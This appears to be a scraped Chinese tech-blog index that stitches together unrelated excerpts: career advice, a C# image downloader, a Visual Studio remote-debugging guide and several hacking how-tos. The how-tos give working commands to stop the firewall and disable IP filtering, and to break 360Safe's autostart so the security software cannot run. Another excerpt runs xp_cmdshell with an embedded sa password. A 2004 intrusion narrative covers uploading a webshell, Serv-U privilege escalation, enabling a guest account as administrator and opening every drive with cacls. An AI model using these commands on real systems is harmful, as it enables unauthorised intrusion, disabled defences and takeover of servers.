回顾我的职业生涯(不,我还没那么老,不过入行确实不少年了),确实有几次人生拐点帮我更具职场智慧,并鞭策我,使我总体来说适合成为软件工程师或程序员,成为那种要么热衷于提高自己的技艺,要么对混入管理层有兴趣,要么只是简单的期望扩大自己的知识面的人。我意识到,鉴于每个人目前的工作情况,有些建议可能并不适合于每一个人,尤其是假如你工作在一家对“谁可以和客户谈话”这种事都作出严格定义的公司的话。所以如果你现在做不到全部这些,也不必烦恼。也要注意,有时,你需要的只是开口去问! 贡献到一个可行的开源项目 除非你与世隔绝,否则一定听过开源项目,也许你已经在Github或SourceForge上有一些小型的开源项目了。所有这些都是好的,但是我所说的“viable open source” 是指应当尝试在一个项目中做出重大意义的贡献,你的代码必须是通过审批的流程,如果被接受,将会在很多系统的系统中被应用到。你能从共享开源项目中学到的东西非常多。就我个人而言,它意味着:写更好的代码,更高效的沟通,有利的条件获得更多的工作机会,更高的报酬,更多的赞誉,更多了解其他观点和让自己有更厚的脸皮。最后一点,是说,你的代码在某些情况下会受到详细检查和批评。开源项目只是一个软件,并不是你一个人的(假设你即使遇到了一个很好的项目,请尽力将自己和项目区分开)。所以把接受批评当作是一个学习的机会,并将事情做得更好而不是令自己生气。不过这不容易做到,我自己有时也会与这种事情斗争,但是我知道如果不去想这些代码去谁写的,这些代码(和我)都能越来越好,而这才是最重要的。 参与开源项目者还有一个额外的优势,从雇主的角度看,我会更容易雇佣一些在能在生产环境上找到他们提交代码记录的人。对于技能差不多的候选人,任何时候,我都会他们当中选择开源项目贡献者。 销售你的软件 是的,我从字面上的意思是你应该去做电话销售,如果可能的话。换句话说,我认为你应该将自己放到极客的位置,时时的为他人用英语解释明白你在做什么,而不仅仅是你的同伴。如果你都不能解释清楚你做的是什么,其他人怎么能去购买它呐? 做前期销售对我来说是一个非常宝贵的事,因为需要一个真实的、存在的、活生生的客户站在面前,可以为他们解释为什么他们应该购买我的软件。在开始的几次,我做到了,我非常紧张(毫无疑问的事实就是我的工作起步阶段,我们也在尝试做得更好),但是我通过了, 得到了一些锻炼,得到了一些提升。 卖你写的软件会给你真正的观点你正在构建什么和为什么构建, 它还能让你接触到大量的使用案例和真实反馈,什么是好,什么是坏。它也将磨练你,同事也会带给你信心。你还可以得到更多的使用你写的软件而改善他们生活的人的尊重,另外,当代码不正确时你也会是第一个感受痛苦的人,这也会使你希望自己写出更好的测试代码。最后,从长远来说,它帮你看得更远。 支持你的软件 销售你的软件之后的另一件事就是支持它。找到一种你能工作在第一线的支持方式,或者至少参与到支持工作中,来使自己能够真切的体验到人们使用你的软件的各种方式:好的、不好的、甚至丑陋的方式。错误报告和升级是一方面,直接从客户听取意见则是另一回事。除了需要社交技巧,你也需要能够迅速的进入用户的使用场景,了解他们看待你的代码的方式,这将进一步告诉你哪些你做的很好,哪些你还需要改进。这也意味着要知道哪些该说哪些不该说,因为这是你和付费客户打交道时要把握的分寸。伴随着销售,也会带给你一个新的欣喜,即之前开发阶段的辛勤工作没有白费,它很好的支撑着软件支持阶段的工作。 写/培训与你软件相关的内容 如果你还没有弄明白我的意思,我将会解释清楚一点:我十分重视那些不单单能写代码并且在公司内部和向公司外部人员解释那些代码是什么和为什么这样写的工程师。通过撰写和培训软件相关的内容,你必须简明、清晰地解释复杂的技术细节。也需要经常强调那些从用户的角度看是不对的地方。我说不出多少次在写文章和培训的过程中发现功能或特性不是十分正确,从而回去修改代码。这种情况在API设计的过程中更加经常发生。 写作也可以增加你的曝光并带给你更广的观众群体,从而得到反馈并令你的作品更上一层楼。有很多,很多的机会可以去为网站或出版社撰写技术的文章。学着去推销你的想法(看,你又在销售了!)并坚持下去,下一步你就会发现你将会成为一名合格的作者并有可能从中获得回报。 结交一些新朋友 也许对我来说,在学习和机遇两个方面最大的一种变革力量,就是我对扩展自己人际网络的明确努力 。当然这并不容易,而且这肯定涉及要“使你自己身心投入其中”,但回报经常是极为显著的,而且以事后所见,其中的风险非常小。 如果在你直接接触范围之外没有太多的人际网络,我给你一些建议。首先最重要的,人际网络的关键是你必须真诚的与新朋友会面,而且你必须除了这个新的关系之外别无所求。其次,许下承诺去维持这样的努力数月乃至更久。当你获得更多的自信并从任何失误中获得经验之后,这将变得越来越容易。第三,做你自己,但要注重倾听他人。第四,这也是我最弱的方面,获知并记忆名字。我很少忘记一张脸,但如果我不努力去学习别人的名字,这些名字就会在我脑中溜走,所以记住别人的名字,让别人知道你看重他们。 除了这些技巧,还有许多关于这个主题的好书。我最喜欢的有一本“爱是杀手锏”。就我看来,这是一个做作的标题,但书中的建议都是干货,而且作者很好的将它呈现了出来。在每天结束时,让你自己沉浸其中,从你获得的实际反馈中学习。如果你发现自己被太多次拒绝,问问一位信任的朋友,让他给你在何处改进的真实意见。如果有困惑,找别的朋友讨论。 红利: 找到导师 有可能你已经知道一些令你尊敬的人物,他们拥有解决复杂问题和高效沟通的能力。如果他们愿意与你分享他们的经验,并给你改进方法的反馈,那么自然有了胜算。从他们的经验和教训中学习,对他们的建议保持开放的态度。虽然它不会总是正确,但你至少应该考虑一下他们说的是什么,之后再做出决定。就我个人来说,我很幸运拥有一个朋友,他也是一个高管教练(我们意外的相遇,证明了使自己投入某事的价值)和一间企业所有者。在好多年里,我也遇到许多好老板和好同事,他们充当了我的人生导师,我对他们感激不尽。在开始以前,问问自己最敬佩谁,然后去和他们讨论你的想法。如果你找不到可以胜任此角色的朋友,甚至可以考虑雇佣一位教练。 完结 请记住,所有这些事情是你可以在这里和那里周期性的做。 他们通常并不需要很大的时间或货币的承诺,但他们确实需要你走出你的安乐窝。 最后,我很高兴听到一些程序员/工程师做这些事之后,确实改善了他们的职业/生活。你工作是什么?哪些工作没有起到作用? 转自:http://www.oschina.net/translate/5-things-every-software-engineer-should-try
View Details本文不仅适用于图片,同样实用于其它二进制文件。 需要四个类:WebRequest、WebResponse、Stream、FileStream。 WebRequest、WebResponse 的名称空间是: System.Net Stream、FileStream 的名称空间是: System.IO 核心代码 WebRequest request = WebRequest.Create("http://portrait7.sinaimg.cn/1859998982/blog/180.jpg");WebResponse response = request.GetResponse();Stream reader = response.GetResponseStream();FileStream writer = new FileStream("D:\\logo.jpg", FileMode.OpenOrCreate, FileAccess.Write);byte[] buff = new byte[512];int c = 0; //实际读取的字节数while ((c=reader.Read(buff, 0, buff.Length)) > 0){ writer.Write(buff, 0, c);}writer.Close(); 注意类 Stream,不是 StreamReader。 示例 <%@ Page Language="C#" %><%@ Import Namespace="System.Net" %><%@ Import Namespace="System.IO" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <script runat="server"> void Page_Load(object sender, EventArgs e) { try { WebRequest request = WebRequest.Create("http://portrait7.sinaimg.cn/1859998982/blog/180.jpg"); WebResponse response = request.GetResponse(); Stream reader = response.GetResponseStream(); FileStream writer = new […]
View DetailsCardKit 是来自豆瓣的一个移动 UI 框架,使用 Card\Unit\Component 概念快速构建移动 Web 应用。应用外观跟原生应用无异。 http://ozjs.org/CardKit 转自:http://www.oschina.net/p/cardkit
View Details以下所有命令均在cmd下执行,方法并不是唯一的,还有其他方法,以下仅举例几种。 涉及到修改注册表文件的,前提是无安全类软件保护注册表。 查看远程终端端口: 导出终端端口注册表内容,然后在cmd下查看。 1、导出注册表内容,其中yiming.reg为导出文件名称,可自定义: 1.regedit /e yiming.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 2、查看导出的注册表内容,找出端口: 1.type yiming.reg 文件内容较多,也可进行条件查找: 1.type yiming.reg|find "PortNumber" 得到回显,类似:"PortNumber"=dword:00000d3d 用科学计算器将十六进制“00000d3d”转换为十进制,即得到远程终端端口。 修改远程端口: 1、写注册表文件 1.echo Windows Registry Editor Version 5.00>>3389.reg 2.echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg 3.echo "PortNumber"=dword:00000d3d>>3389.reg 其中“dword:00000d3d”为端口号,请通过科学计算器自行转换。3389.reg为文件名,可自定义。 2、导入注册表文件 1.regedit /s 3389.reg 重启生效: 1.shutdown -r 如不能连接,有可能是系统防火墙造成的,关闭防火墙: 1.net stop SharedAccess 查看开机启动项:导出开机启动项注册表内容,然后在cmd下查看(和上面的类似) 1、导出注册表内容 1.regedit /e kaiji.reg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2、查看导出的注册表内容 1.type kaiji.reg 3、修改开机启动项 根据导出的注册表内容,进行修改,然后写注册表文件。 例如:360安装路径在C盘,将路径改为D盘,使其无法启动。 1.echo Windows Registry Editor Version 5.00>>xiugai.reg 2.echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>xiugai.reg 3.echo "360Safetray"="\"D:\\Program Files\\360\\360Safe\\safemon\\360Tray.exe\" /start">>xiugai.reg 导入注册表文件: 1.regedit /s xiugai.reg […]
View DetailsEXEC master..xp_cmdshell 'bcp "select top 1 txt from master.dbo.ctest " queryout c:\ctxt.vbs -c -S(local) -Usa -Phbcfsa'
View DetailsOn Error Resume Next strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colNicConfig = objWMIService.ExecQuery ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True") For Each objNicConfig in colNicConfig If objNicConfig.IPFilterSecurityEnabled Then intDisableReturn = objNicConfig.DisableIPSec If intDisableReturn = 0 Then WScript.Echo "ip过滤已禁用." ElseIf intDisableReturn = 1 Then WScript.Echo "ip过滤已禁用." & VbCrLf & " 必须重新启动使更改生效." Else WScript.Echo "无法禁用ip过滤" […]
View Details
1 |
net stop "Windows Firewall/Internet Connection Sharing (ICS)"<br /><br />以下是该服务的依存服务<br />Network Connections<br />Remote Access Connetion Manager<br />Windows Management Instrumentation<br />无其他服务依存此服务 |
很多朋友不知道怎樣在cmd下查看3389被 修改成了什麽。有時候注冊表讀其來不是太方便。、 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 这条命令是查看远程桌面连接所开的端口是多少 一般默认显示是0xd3d 也就是3389 。 其實兩個 常見的cmd命令就可以搞定下來· 先用tasklist /svc 图像名 PID 服务========================= ====== =============================================System Idle Process 0 暂缺System 4 暂缺smss.exe 704 暂缺csrss.exe 772 暂缺winlogon.exe 796 […]
View Details作者:lvhuana 来自:http://www.wrsky.com/ 日期:2004.12.11LvHuaNa一:得到webshell今天晚上的一次小小测试,由于本人太菜,再高深的技术我也不会,只能这样了……….一切都已经过去了,没有办法补图了,希望能看的懂这个小帖子。今天有是无聊的一天,晚上实在无聊没有事情干,就到一个视频聊天站点看秀,嘿嘿~突然发现一个聊天室特别的火暴,人数已经有500人在里面了(满员了),刷了n次也没有进去……….更加郁闷了!:(想想反正也是没有事情做,测试一下主机安全做的怎么样吧,呵呵(太菜,说测试人家安全实在是抬高自己了)在cmd下ping了一下得到了对方的ip,然后登陆http://whois.webhosting.info/对方ip看看有没有其他的站点,哈,这下发了,上面有几十个站点,估计我还是能找到一个两个带漏洞的站点的`经过漫长的查找,终于找到一个动易带漏洞的页面_Soft.asp">http://www.xxxx.net/Upfile_Soft.asp,上传一个webshell(海阳2005正式版)先(怎么上传我就不罗嗦了,上传工具现在漫天飘了)。 二:成功提升权限建立用户拿到webshell后高高兴兴的登陆了,突然发现什么权限都没有,只能在自己的webshell所在的目录里面打转(c.d.e.f盘都浏览不了),连删除文件的权限都没有,郁闷呀……..回到〖Server〗下看看主机开了什么服务吧,经过发现他开了终端服务和serv-u服务,哈,这下有搞头了^_^用superscan扫描了一下他的ip,果然通过banner看出他是用的serv-u,版本5.0。到〖Wscript.Shell〗下面试试看能执行cmd命令不能,输入net user后没有反映,再试通过Wscript.Shell能执行cmd命令不能,再次输入net user后执行返回了对方的user名单,哈哈,这下好了,能拿下了!!上传serv-u提升工具到D:\a004\tggtwe\****.com\UploadSoft目录下面,改名为:test.exe,然后回到〖Wscript.Shell〗下执行命令去了,嘿嘿,马上一只肥鸡就要到手了,高兴ing~通过Wscript.Shell执行cmd命令:D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest /active:yes" #激活guest账号,我喜欢用这个账号D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest lvhuana" #把guest账号的密码设定为lvhuanaD:\a004\tggtwe\****.com\UploadSoft\test.exe "net localgroup administrators guest /add" #提升guest权限到admin权限好了,账号建立完毕,执行一下net localgroup administrators看看成功没,通过回显知道添加成功了。然后执行netstat -an后看到他开的终端端口是默认的3389,OK,连接试试~ 三:解决TCP/IP筛选连接不上!?晕………..再拿出superscan来扫一下他的3389,根本扫不到……..(开了防火墙!?靠,我的点真背…..)没有办法了,再次回到Wscript.Shell执行cmd命令:D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe c: /e /t /g everyone:F" #把c盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe d: /e /t /g everyone:F" #把d盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe e: /e /t /g everyone:F" #把e盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe f: /e /t […]
View Details远程调试应用场景 部署环境:ASP.NET(C#)+IIS+Win7 64 bit 很多公司的开发模式都是将开发机器和服务器分开,也就是开发一台机,服务器一台机。而测试人员会在服务器上录入测试数据,此时报错了【由于开发程序时忽略了数据类型或者数据是否合法导致的】,如果是简单的错误那还好办,看下代码直接消灭。要是生命力比较顽强的bug,那么就需要调试了。 此时开发人员会产生几种设想: 1、赶紧把服务器的环境部署到本地,然后把生成的dll扔进去进行调试。这时会出现几种结果,如果顺利的话,通过了调试解决了bug,如果不顺利的话,就会延长bug的解决时间。不顺利的情况可能会有:对程序的配置不熟悉,本地可能在注册表缺少了对那个插件的注册,目录可能存在中文……种种的,种种的问题。 2、在服务器上装上一个Visual Studio 2008/2010/2012[后面简称vs工具],然后把程序文件拷过去,然后将生成的文件dll附加到iis进程而进行调试,哈哈,顺利解决了bug,但是一看钟表半天过去了。而且服务器多了很多文件,仅仅是为了你调试这个程序的文件。如果是管理不是很严谨的公司那还说的过去,要不然少不了要被喷一顿。 好吧,不说口水话了,进入正题。 远程调试方法 第一步:将vs工具里的Remote Debugger文件夹拷贝到目标机器。大致的目录应该是:D:\Program Files (x86)\Microsoft Visual Studio 10.0\Common7\IDE\Remote Debugger,或者从开始菜单那里可以找到它的快捷方式,如下图: 第二步:在服务器上打开Remote Debugger文件夹,如果是32位的就运行X86里面的msvsmon.exe,如果是64位的就运行X64里面的msvsmon.exe。关于32位和64位这里要注意一下,以你的IIS应用程序池为主,在应用程序池那里右键,点击高级设置,可出现以下窗体。如果启用32位应用程序设置为true的话,那么就需要运行X86里面的msvsmon.exe。 运行后会出现以下界面 第三步【最关键一步】:将你本地的账号密码设置成跟服务器一样,因为远程调试也是需要用户凭证的。账号和密码都要一致哦!!! 第四步:用vs工具打开你的程序源码,用快捷键ctrl + alt + p 打开附加进程窗体,如下图 传输:默认 限定符:默认是本机的机器名称,设置为你的服务器IP(如:192.168.1.250) 设置好按回车就可以看到250这台机子的进程,然后找到w3wp.exe这个进程,点击附加。【如果没有看到w3wp.exe,可以把下面显示所有用户的进程勾上】 接下来就尽情享受代码的调试把。 关于调试那点技术 比较一下下面两种调试的方法,看谁犯过第一种,反正我犯过。^_^ 1、为了调试某个dll而直接在Web程序里直接按F5进行调试,如果是小项目小网站的话,那没问题。如果是一个几十M甚至几百M的网站那么问题就来了。这样子的调试非常的慢,而且每次都需要重新生成整个网站的dll,那速度,是可忍孰不可忍。 2、将你需要调试的dll重新生成一下,把dll和pdb文件拷到已发布好的网站bin目录底下,然后ctrl + alt + p附加到IIS进程w3wp.exe,然后就可以调试你的dll了。这样即快又方便,做个开心的程序员吧。 结束语 好久没写过东西了,距离上一篇Installshield有1年多了,哎。以后坚持有空就写点文章,多总结自己的经验。 转自:http://www.cnblogs.com/magicchaiy/archive/2013/05/28/VS%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7.html
View Details